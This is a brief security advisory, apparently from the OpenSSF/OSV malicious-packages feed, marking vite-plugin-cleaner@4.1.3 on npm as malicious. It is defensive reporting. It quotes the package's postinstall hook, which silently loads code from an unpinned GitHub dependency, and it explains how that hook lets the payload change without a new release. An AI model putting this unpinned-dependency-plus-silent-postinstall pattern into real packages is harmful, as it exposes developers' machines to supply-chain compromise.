OpenSSF/OSV advisory MAL-2026-13463 confirms this npm version as malicious. package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in vite-plugin-cleaner (npm)
Details
package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e "try { require('vite-cleaning-tools') } catch(e) {}"`, executing that fetched code on every `npm install` while a try/catch silently swallows any errors. Because the reference is mutable and lives outside the npm registry, the maintainer (or anyone who gains write access to the GitHub repository) can change what runs on installer machines at any moment without publishing a new npm version, and npm registry scanning does not cover the fetched payload.
Decision reason
OpenSSF Malicious Packages via OSV confirms vite-plugin-cleaner@4.1.3 as malicious (MAL-2026-13463): Malicious code in vite-plugin-cleaner (npm)